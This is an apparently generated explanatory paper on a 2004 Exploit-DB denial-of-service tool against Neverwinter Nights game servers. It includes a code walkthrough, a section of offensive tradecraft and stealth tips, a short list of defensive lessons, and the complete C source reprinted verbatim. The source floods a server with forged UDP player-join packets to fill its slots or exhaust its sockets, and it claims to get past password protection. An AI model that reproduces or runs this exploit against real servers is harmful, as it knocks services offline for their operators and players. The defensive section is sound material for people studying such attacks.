Neverwinter Nights Fake Player DoS Exploit Explained

Neverwinter Nights Fake Player DoS Exploit Explained
What this paper is
This paper details a Denial of Service (DoS) exploit targeting the game Neverwinter Nights. The exploit works by sending specially crafted UDP packets to the game server, causing it to believe that multiple fake players are attempting to join. This floods the server with connection requests, consuming its resources and potentially making it unavailable to legitimate players. The exploit can also be used to fill up server slots, effectively preventing new players from joining.
Simple technical breakdown
The exploit leverages how Neverwinter Nights servers handle player connection requests. It sends a series of UDP packets that mimic legitimate join attempts. The server, in turn, responds to these fake requests. By sending many such requests rapidly, the server's resources (like network sockets and memory) are exhausted, leading to a denial of service.
The exploit has two main modes:
- Standard DoS: Fills up server slots, preventing new players.
- Special Attack (
-soption): A more aggressive mode that aims to consume all available server sockets, making the server completely unresponsive. This is particularly effective against servers protected by passwords, as it bypasses the need for authentication.
Complete code and payload walkthrough
The provided C code implements the exploit. Let's break down the key parts:
Preprocessor Directives and Includes
#ifdef WIN32
#include <winsock.h>
// ... Windows specific includes and definitions
#define close closesocket
#define FIVESEC 5000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
// ... Unix specific includes and definitions
#define FIVESEC 5
#endif
#define VER "0.1"
#define BUFFSZ 2048
#define PORT 5121
#define TIMEOUT 3
#define NICKSZ 8 // if you modify here, you must modify pck1 too!#ifdef WIN32/#else/#endif: This block handles platform-specific code. For Windows, it includeswinsock.hand definescloseasclosesocket. For other systems (likely Unix-like), it uses standard POSIX socket headers.FIVESEC: Defines a timeout value in seconds (5 for Unix, 5000 milliseconds for Windows).VER: Version of the exploit.BUFFSZ: Buffer size for receiving data.PORT: Default UDP port for the Neverwinter Nights server.TIMEOUT: Timeout for socket operations.NICKSZ: Maximum length for a player nickname.
Utility Functions
void std_err(void) {
// ... error handling for Windows Sockets (WSAGetLastError) or errno
// ... prints error message and exits
}
int find_gamever(u_char *data, int len) {
// ... parses received data to find the "gamever" field and extract the version number
}
int create_rand_string(u_char *data, int len, u_int tmp) {
// ... generates a pseudo-random string of specified length using a seeded algorithm
}
int timeout(int sock) {
// ... uses select() to implement a timeout for socket operations
}
u_long resolv(char *host) {
// ... resolves a hostname to an IP address using gethostbyname or inet_addr
}std_err(): A crucial function for error reporting. It checks the last socket error (usingWSAGetLastErroron Windows orerrnoon other systems) and prints a human-readable message before exiting.find_gamever(): This function is used to parse a response from the server to find thegameverstring and extract the numerical game version. This is important because the exploit might need to know the exact server version.create_rand_string(): Generates a string of random characters. This is used to create fake player nicknames and CD keys, making the fake players appear more legitimate. The algorithm uses a simple pseudo-random number generator based on the inputtmp.timeout(): Implements a socket timeout mechanism usingselect(). If no data is received within the specifiedTIMEOUT, it returns -1.resolv(): Converts a hostname (likeserver.example.com) into an IP address. It first triesinet_addrfor direct IP input and falls back togethostbynamefor DNS resolution.
Main Function and Packet Definitions
int main(int argc, char *argv[]) {
// ... socket structures, variables, and packet definitions
u_char query[] = "\xfe\xfd\x00\x00\x00\x00\x00\xff\x00\x00"; // Used for initial server query
u_char srvname[] = "BNES\x00\x14\x00"; // Packet to get server name
u_char info[] = "BNXI\x00\x14"; // Packet to get server info
u_char pck1[] = "BNCS\x00\x14\x10\x00\x00\x00\x00\x03\x00\x01\x00\x00\x00\x00\x08" "abcdefgh" "\x08" "00000000"; // Packet for fake player login (stage 1)
u_char pck2[] = "BNVS\x50\x03\x28" "0000000000000000000000000000000000000000" "\x28" "0000000000000000000000000000000000000000" "\x28" "0000000000000000000000000000000000000000" "\x20" "00000000000000000000000000000000" "\x20" "00000000000000000000000000000000"; // Packet for fake player login (stage 2)
// ... argument parsing and initialization
// ... socket creation, binding, sending, and receiving
// ... main attack loop
}query[]: This is a generic query packet. The code specifically modifiesquery[3]toquery[6]with a random value before sending. This packet is used to try and retrieve the server version if it's not provided via the-voption.srvname[]: This packet (BNESfollowed by some length indicators) is sent to request the server's name. The server should respond with a packet starting withBNER.info[]: This packet (BNXIfollowed by length indicators) is sent to request detailed server information. The server should respond with a packet starting withBNXR. This response contains information like game port, password status, player counts, etc.pck1[]: This is the first packet sent to create a fake player.BNCS: Packet identifier for a client connection request.\x00\x14: Length indicator.\x10: Unknown flag.\x00\x00\x00\x00: This field is overwritten with theser_ver(server version) obtained earlier.\x03\x00: Unknown flags.\x01: Unknown flag.\x00\x00\x00\x00: This field is overwritten with a random port number from the local binding.\x08"abcdefgh": This represents the nickname.\x08is the length (8), and "abcdefgh" are placeholder characters that will be replaced bycreate_rand_string.\x08"00000000": This represents the CD key.\x08is the length (8), and "00000000" are placeholder characters that will be replaced bycreate_rand_string.
pck2[]: This is the second packet sent to further establish the fake player connection.BNVS: Packet identifier.\x50\x03: Length indicator.- The subsequent long strings of
\x28and\x20followed by zeros are placeholders for various player-related data. These are populated bycreate_rand_stringwith random data. This packet seems to be a more detailed player status update or confirmation.
Main Attack Loop
// ... initialization ...
fputs("- request informations:\n", stdout);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
SEND(srvname); // Send server name request
RECV; // Receive server name response
// ... process server name response ...
SEND(info); // Send server info request
RECV; // Receive server info response
close(sd);
// ... process server info response ...
if(info_only) return(0); // Exit if only info was requested
if(!ser_ver) {
// ... retrieve server version if not provided
fputs("- retrieve server version (needed!):\n", stdout);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
*(u_long *)(query + 3) = peer.sin_addr.s_addr; // Set random value in query
SEND(query);
RECV;
close(sd);
ser_ver = find_gamever(buff, len);
// ... handle errors if version not found
}
printf("\n- server version %d\n", ser_ver);
*(u_long *)(pck1 + 7) = ser_ver; // Set server version in pck1
seed = time(NULL); // Initialize random seed
fputs("- start attack:\n", stdout);
for(;;) { // Infinite loop for continuous attack
for(i = 0;; i++) { // Loop to send multiple fake players
// ... setup local socket with a new port
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
// ... bind socket to a new port
peerl.sin_port++;
if(bind(sd, (struct sockaddr *)&peerl, sizeof(peerl)) < 0) std_err();
*(u_long *)(pck1 + 14) = peerl.sin_port; // Set local port in pck1
seed = create_rand_string(pck1 + 19, NICKSZ, seed); // Generate random nick
seed = create_rand_string(pck1 + 20 + NICKSZ, 8, seed); // Generate random cd-key
SEND(pck1); // Send first fake player packet
RECV; // Receive server response to pck1
// ... process response to pck1 (check for errors like wrong version, banned, etc.)
if(buff[6] != 0x56) { // If not a successful connection confirmation
// ... handle specific error codes from the server response (buff[7])
if(buff[7] == 5) { // Server full, break inner loop
close(sd);
break;
}
// ... other error handling (wrong version, banned, nickname issues, password protection bypass)
if(buff[7] == 32) { // Password protection bypass
fputs("- password protection, I bypass it", stdout);
close(sd);
continue; // Continue to next iteration of inner loop
}
// ... general error
exit(1);
}
if(special) { // If special attack mode, just close and continue
close(sd);
continue;
}
RECV; // Receive second response to pck1 (if not in special mode)
// ... generate random data for pck2
seed = create_rand_string(pck2 + 7, 40, seed);
seed = create_rand_string(pck2 + 48, 40, seed);
seed = create_rand_string(pck2 + 89, 40, seed);
seed = create_rand_string(pck2 + 130, 32, seed);
seed = create_rand_string(pck2 + 163, 32, seed);
SEND(pck2); // Send second fake player packet
RECV; // Receive server response to pck2
// ... check response to pck2, potentially indicating failure
if(!memcmp(buff, "BNVRR", 5)) {
// ... error message if player not accepted
}
close(sd); // Close socket for this fake player
}
fputs("- server full", stdout);
sleep(FIVESEC); // Wait before trying to fill again
}
return(0);
}SEND(x)macro: A helper to send dataxvia the socketsd. It includes error checking and prints a.to stdout for each successful send.RECVmacro: A helper to receive data. It uses thetimeout()function and includes error checking. It prints a.to stdout for each successful receive.main()logic:- Initialization: Sets up standard output buffering, prints banner, parses command-line arguments (
-p,-s,-i,-v). - Windows Initialization: If on Windows,
WSAStartupis called. - Target Setup: Resolves the target hostname and sets up the
sockaddr_instructure for the server's IP and port. - Information Gathering:
- Creates a UDP socket.
- Sends
srvnameto get the server's name. - Receives the response and checks if it starts with
BNER. - Extracts and prints the server name.
- Sends
infoto get detailed server information. - Receives the response and checks if it starts with
BNXR. - Parses and prints various server details (game port, password status, player counts, module, etc.).
- If
-i(info only) is specified, the program exits.
- Server Version Retrieval:
- If the server version (
ser_ver) was not provided via-v, it attempts to discover it. - It sends a
querypacket (with a random value in bytes 3-6) and parses the response usingfind_gamever. - If the version cannot be found, it exits, prompting the user to use
-v.
- If the server version (
- Attack Preparation:
- Sets the discovered
ser_verintopck1. - Initializes the random seed using
time(NULL).
- Sets the discovered
- Attack Loop (
for(;;)): This is the main loop that continuously attempts to fill the server.- Inner Loop (
for(i = 0;; i++)): This loop attempts to create individual fake players.- Socket Setup: Creates a new UDP socket for each fake player attempt.
- Binding: Binds the socket to a local port. The port is incremented for each attempt, which is important for the "special" attack mode.
- Nickname and CD Key Generation: Uses
create_rand_stringto generate random values for the nickname and CD key inpck1. - Send
pck1: Sends the first packet to initiate the fake player connection. - Receive Response to
pck1: Waits for a response. - Response Handling (
if(buff[6] != 0x56)):- Checks if the response indicates a successful connection (
buff[6] == 0x56). - If not successful, it checks
buff[7]for specific error codes:5: Server is full. The inner loop breaks, and the outer loop will pause before retrying.2: Wrong server version. Exits.6: Player with the same name already exists. Waits 5 seconds and retries.10: Player is banned. Exits.12: Nickname contains invalid characters. Exits.32: Password protection detected. The exploit prints a message and continues, effectively bypassing it.- Other codes result in a general error.
- Checks if the response indicates a successful connection (
- Special Attack Mode (
if(special)): If the-sflag is set, after sendingpck1and receiving a non-error response, the socket is closed immediately, and the inner loop continues to send morepck1packets without proceeding topck2. This is the core of the "consume all server sockets" attack. - Generate
pck2Data: If not in special mode, it generates random data for the second packet (pck2). - Send
pck2: Sends the second packet to complete the fake player setup. - Receive Response to
pck2: Waits for the final response. - Check
BNVRR: If the response starts withBNVRR, it indicates the player was not accepted, and an error message is shown. - Close Socket: The socket for the current fake player is closed.
- Server Full Handling: If the inner loop breaks because the server is full (
buff[7] == 5), a message is printed, and the program pauses forFIVESECbefore the outer loop restarts the process.
- Inner Loop (
- Initialization: Sets up standard output buffering, prints banner, parses command-line arguments (
Code Fragment/Block -> Practical Purpose Mapping
#include <winsock.h>/#include <unistd.h>: Platform-specific socket library inclusion.#define close closesocket: Windows compatibility for socket closing.std_err(): Centralized error reporting and exit mechanism.find_gamever(): Extracts the game version from server responses.create_rand_string(): Generates random strings for nicknames and CD keys.timeout(): Implements non-blocking socket reads with a timeout.resolv(): Resolves hostnames to IP addresses.query[]: Generic UDP packet for version discovery.srvname[]: Packet to query server name.info[]: Packet to query detailed server information.pck1[]: First stage packet for fake player connection.pck2[]: Second stage packet for fake player connection.SEND(x)macro: Simplifies sending data with error checking.RECVmacro: Simplifies receiving data with timeout and error checking.main()argument parsing: Handles user-configurable options.main()information gathering loop: Collects server details before attack.main()server version retrieval: Dynamically finds server version if not provided.main()attack loop (for(;;)): Continuously attempts to fill the server.main()inner loop (for(i = 0;; i++)): Creates individual fake player connections.main()socket binding: Assigns a local port for each fake player.main()pck1modification: Inserts server version, local port, random nick, and CD key.main()pck1response handling: Checks for success or specific error codes.main()specialattack logic: Skipspck2and immediately closes socket to flood sockets.main()pck2modification: Fills with random data.main()pck2response handling: Final check for player acceptance.main()close(sd): Cleans up the socket for each fake player.main()sleep(FIVESEC): Pauses after server is detected as full.
Practical details for offensive operations teams
- Required Access Level: Network access to the target Neverwinter Nights server's IP address and UDP port (default 5121, but can be changed). No elevated privileges on the target system are required.
- Lab Preconditions:
- A network connection to the target server.
- A local machine capable of running the C code (Linux or Windows).
- A Neverwinter Nights server instance for testing and validation.
- Understanding of UDP communication and socket programming.
- Tooling Assumptions:
- A C compiler (like GCC for Linux, MinGW for Windows).
- Standard networking utilities.
- The exploit code itself.
- Execution Pitfalls:
- Incorrect Server Version: If the
-voption is not used and the server version cannot be automatically detected, the attack will likely fail or behave erratically. - Firewalls/Network ACLs: Firewalls blocking UDP traffic on the target port will prevent the exploit from reaching the server.
- Server-Side Patches: Modern Neverwinter Nights servers or custom server software might have implemented specific protections against this type of packet flooding or malformed packet handling.
- IP Blocking: While the
-soption makes it harder to ban a single IP due to rapid socket exhaustion, servers might implement rate limiting or other anomaly detection. - Incorrect Port: If the server is running on a non-default UDP port, the
-poption must be used. - UDP Packet Loss: UDP is unreliable. High packet loss on the network path could lead to missed responses and failed connection attempts.
- Incorrect Server Version: If the
- Tradecraft Considerations:
- Reconnaissance: Before execution, gather information about the target server: IP address, port, and ideally, its version. The
-ioption is useful for this. - Stealth: UDP traffic can be noisy. Consider network monitoring and potential detection. The
-soption, while effective, is more aggressive and might be more easily flagged. - Targeted vs. Broad Attack: The exploit is designed for a specific game server. It's not a general network DoS tool.
- Testing: Always test in a controlled lab environment first to understand the server's behavior and the exploit's effectiveness.
- Payload Delivery: This exploit is a network-based DoS tool, not a code execution exploit. It doesn't deliver a shellcode or execute arbitrary code on the target.
- Reconnaissance: Before execution, gather information about the target server: IP address, port, and ideally, its version. The
Where this was used and when
- Context: This exploit was designed for the Neverwinter Nights game server. It targets the UDP communication protocol used by the game for server queries and player connections.
- Approximate Year/Date: Published on Exploit-DB on 2004-12-01. This indicates the vulnerability was likely discovered and weaponized around that time. Neverwinter Nights was released in 2002, so this exploit targets an early version of its server software.
Defensive lessons for modern teams
- Input Validation: Servers must rigorously validate incoming data, especially from unauthenticated clients. Malformed packets or unexpected data lengths can lead to crashes or resource exhaustion.
- Rate Limiting: Implement rate limiting for connection attempts and other sensitive operations, especially for UDP-based services. This can prevent a single client or a small group of clients from overwhelming the server.
- Resource Management: Monitor and limit the resources (e.g., number of open sockets, memory usage) that can be consumed by individual connections or by unauthenticated requests.
- State Management: Servers should maintain accurate state for connections. If a connection attempt fails or is invalid, resources associated with it should be promptly released.
- Protocol Understanding: Deep understanding of the game's network protocol is crucial for identifying vulnerabilities. This exploit targets specific packet structures and sequences.
- Version Management: Regularly update game servers to patch known vulnerabilities. The exploit's reliance on specific versions highlights the importance of patching.
- Network Segmentation and Firewalls: Use firewalls to restrict access to game server ports from untrusted networks and implement network segmentation to limit the blast radius of a successful DoS attack.
- Intrusion Detection/Prevention Systems (IDS/IPS): Deploy IDS/IPS solutions that can detect anomalous network traffic patterns, such as a high volume of UDP packets on game ports, or malformed packets characteristic of known exploits.
ASCII visual (if applicable)
This exploit is primarily a network communication flow. An ASCII visual can illustrate the interaction between the attacker and the server.
+-----------------+ UDP +-----------------+
| Attacker PC | <-------------> | Neverwinter |
| (Exploit Client)| | Nights Server |
+-----------------+ +-----------------+
| ^
| 1. Send srvname/info packets | 2. Receive server name/info
| (Query server details) | (BNER, BNXR responses)
| |
| 3. Send query for gamever | 4. Receive gamever response
| (if needed) | (e.g., "gamever\x00123\x00")
| |
| 5. Send pck1 (fake player login) | 6. Receive pck1 response
| (BNCS...) | (Success/Error code)
| |
| 7. (If not -s and success) | 8. Receive second response
| Send pck2 (more player data) | (e.g., BNVRR if failed)
| (BNVS...) |
| |
| 9. (If -s) Close socket |
| (Repeat 5-9 rapidly) |
| |
| 10. (If server full) Wait |
| (Repeat 5-10) |
+-----------------+ +-----------------+Source references
- Paper URL: https://www.exploit-db.com/papers/671
- Raw Exploit Code: Provided in the prompt.
- Author: Luigi Auriemma
- Publication Date: 2004-12-01
Original Exploit-DB Content (Verbatim)
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include <winsock.h>
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
#define close closesocket
#define FIVESEC 5000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define FIVESEC 5
#endif
#define VER "0.1"
#define BUFFSZ 2048
#define PORT 5121
#define TIMEOUT 3
#define NICKSZ 8 // if you modify here, you must modify pck1 too!
#define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) \
< 0) std_err(); \
fputc('.', stdout);
#define RECV if(timeout(sd) < 0) { \
fputs("\n" \
"Error: socket timeout, no reply received\n" \
"\n", stdout); \
exit(1); \
} \
len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
if(len < 0) std_err(); \
fputc('.', stdout);
int find_gamever(u_char *data, int len);
int create_rand_string(u_char *data, int len, u_int tmp);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer,
peerl;
u_int seed;
int sd,
i,
len,
on = 1,
special = 0,
info_only = 0,
ser_ver = 0;
u_short port = PORT;
u_char buff[BUFFSZ],
query[] =
"\xfe\xfd\x00\x00\x00\x00\x00\xff\x00\x00",
srvname[] =
"BNES"
"\x00\x14"
"\x00",
info[] =
"BNXI"
"\x00\x14",
pck1[] =
"BNCS"
"\x00\x14"
"\x10"
"\x00\x00\x00\x00" // 8062 = version
"\x03\x00"
"\x01"
"\x00\x00\x00\x00" // random
"\x08" "abcdefgh" // NICKSZ and nickname
"\x08" "00000000", // cd-key
pck2[] =
"BNVS"
"\x50\x03"
"\x28" "0000000000000000000000000000000000000000"
"\x28" "0000000000000000000000000000000000000000"
"\x28" "0000000000000000000000000000000000000000"
"\x20" "00000000000000000000000000000000"
"\x20" "00000000000000000000000000000000";
setbuf(stdout, NULL);
fputs("\n"
"Neverwinter Nights special Fake Players DoS "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s [options] <host>\n"
"\n"
"Options:\n"
"-p PORT server port (default %d)\n"
"-s special attack, you will be able to consume all the server sockets\n"
" simply sending less than 100 packets each time. This type of attack\n"
" is useful because the admin cannot easily ban your IP and is fast.\n"
" It is automatically enabled if the server is protected by password.\n"
" -> This is the ONLY way to fill an internet server!!! Without this\n"
" option you can fill only local servers!\n"
"-i informations only, requests remote informations and exits\n"
"-v VER server version, by default this tool automatically retrieves the\n"
" exact remote version (needed for the attack)\n"
"\n"
" Works also versus servers protected by password without knowing the keyword!\n"
"\n", argv[0], port);
exit(1);
}
argc--;
for(i = 1; i < argc; i++) {
switch(argv[i][1]) {
case 'p': port = atoi(argv[++i]); break;
case 's': special = 1; break;
case 'i': info_only = 1; break;
case 'v': ser_ver = atoi(argv[++i]); break;
default: {
printf("\nError: wrong command-line argument (%s)\n\n", argv[i]);
exit(1);
}
}
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
peer.sin_addr.s_addr = resolv(argv[argc]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
peerl.sin_addr.s_addr = INADDR_ANY;
peerl.sin_port = htons(time(NULL));
peerl.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
fputs("- request informations:\n", stdout);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
SEND(srvname);
RECV;
if(memcmp(buff, "BNER", 4)) {
fputs("\nError: bad reply from the server\n\n", stdout);
exit(1);
}
buff[buff[8] + 9] = 0x00;
printf("\n"
" Server name %s\n", buff + 9);
SEND(info);
RECV;
close(sd);
if(memcmp(buff, "BNXR", 4)) {
fputs("\nError: bad reply from the server\n\n", stdout);
exit(1);
}
buff[buff[19] + 20] = 0x00;
printf("\n"
" Game port %d\n"
" Player Password %s\n"
" Levels %d -> %d\n"
" Players %d / %d\n"
" Local Characters Allowed %s\n"
" Player vs Player %s\n"
" Players Pause Enabled %s\n"
" Only One Party %s\n"
" Enforce Legal Characters %s\n"
" Item Level Restrictions %s\n"
" Module %s\n"
"\n",
*(u_short *)(buff + 4),
buff[7] ? "on" : "off",
buff[8], buff[9],
buff[10], buff[11],
buff[12] ? "on" : "off",
buff[13] ? "party or full" : "none",
buff[14] ? "on" : "off",
buff[15] ? "on" : "off",
buff[16] ? "on" : "off",
buff[17] ? "on" : "off",
buff + 20);
if(info_only) return(0);
if(!ser_ver) {
fputs("- retrieve server version (needed!):\n", stdout);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
*(u_long *)(query + 3) = peer.sin_addr.s_addr; // something random
SEND(query);
RECV;
close(sd);
ser_ver = find_gamever(buff, len);
if(ser_ver <= 0) {
fputs("\n"
"Error: no gamever field found, you must manually specify the server version\n"
" with the -v option\n"
"\n", stdout);
exit(1);
}
}
printf("\n- server version %d\n", ser_ver);
*(u_long *)(pck1 + 7) = ser_ver;
seed = time(NULL);
fputs("- start attack:\n", stdout);
for(;;) {
for(i = 0;; i++) {
if(special) printf("\n Packet %d: ", i);
else fputs("\n Player: ", stdout);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
< 0) std_err();
peerl.sin_port++;
if(bind(sd, (struct sockaddr *)&peerl, sizeof(peerl))
< 0) std_err();
*(u_long *)(pck1 + 14) = peerl.sin_port;
seed = create_rand_string(pck1 + 19, NICKSZ, seed); // random nick
seed = create_rand_string(pck1 + 20 + NICKSZ, 8, seed); // random cd-key
SEND(pck1);
RECV;
if(buff[6] != 0x56) {
if(buff[7] == 5) {
close(sd);
break;
} else if(buff[7] == 2) {
fputs("\nError: wrong version, server uses another version (check the -v option)\n\n", stdout);
exit(1);
} else if(buff[7] == 6) {
fputs("\nAlert: a player with a same name already exists, I wait 5 seconds and retry\n", stdout);
close(sd);
sleep(FIVESEC);
continue;
} else if(buff[7] == 10) {
fputs("\nError: you are banned on this server\n\n", stdout);
exit(1);
} else if(buff[7] == 12) {
fputs("\nError: your nickname contains wrong chars\n\n", stdout);
exit(1);
} else if(buff[7] == 32) {
fputs("- password protection, I bypass it", stdout);
close(sd);
continue;
} else {
printf("\nError: the fake player has not been accepted (error %d)\n\n", buff[7]);
exit(1);
}
}
if(special) {
close(sd);
continue;
}
RECV;
seed = create_rand_string(pck2 + 7, 40, seed);
seed = create_rand_string(pck2 + 48, 40, seed);
seed = create_rand_string(pck2 + 89, 40, seed);
seed = create_rand_string(pck2 + 130, 32, seed);
seed = create_rand_string(pck2 + 163, 32, seed);
SEND(pck2);
RECV;
if(!memcmp(buff, "BNVRR", 5)) {
fputs("\n"
"Error: the player seems to have not been accepted.\n"
" Remember that you must use the special attack (-s option) to fill\n"
" internet servers!\n"
"\n", stdout);
}
close(sd);
}
fputs("- server full", stdout);
sleep(FIVESEC);
}
return(0);
}
int find_gamever(u_char *data, int len) {
int nt = 0,
ver = -1;
u_char *p,
*limit;
limit = data + len;
data += 5;
while(data < limit) {
p = strchr(data, 0x00);
if(!p) break;
*p = 0x00;
if(!nt) {
if(!*data) break;
if(!strcmp(data, "gamever")) ver = 0;
nt++;
} else {
if(!ver) ver = atoi(data);
nt = 0;
}
data = p + 1;
}
return(ver);
}
int create_rand_string(u_char *data, int len, u_int tmp) {
if(!tmp) tmp++;
while(len--) {
tmp = (*data + tmp) % 62;
if(tmp <= 9) {
*data = tmp + '0';
} else if((tmp >= 10) && (tmp <= 35)) {
*data = (tmp - 10) + 'A';
} else {
*data = (tmp - 36) + 'a';
}
data++;
}
return(tmp << 1);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
// milw0rm.com [2004-12-01]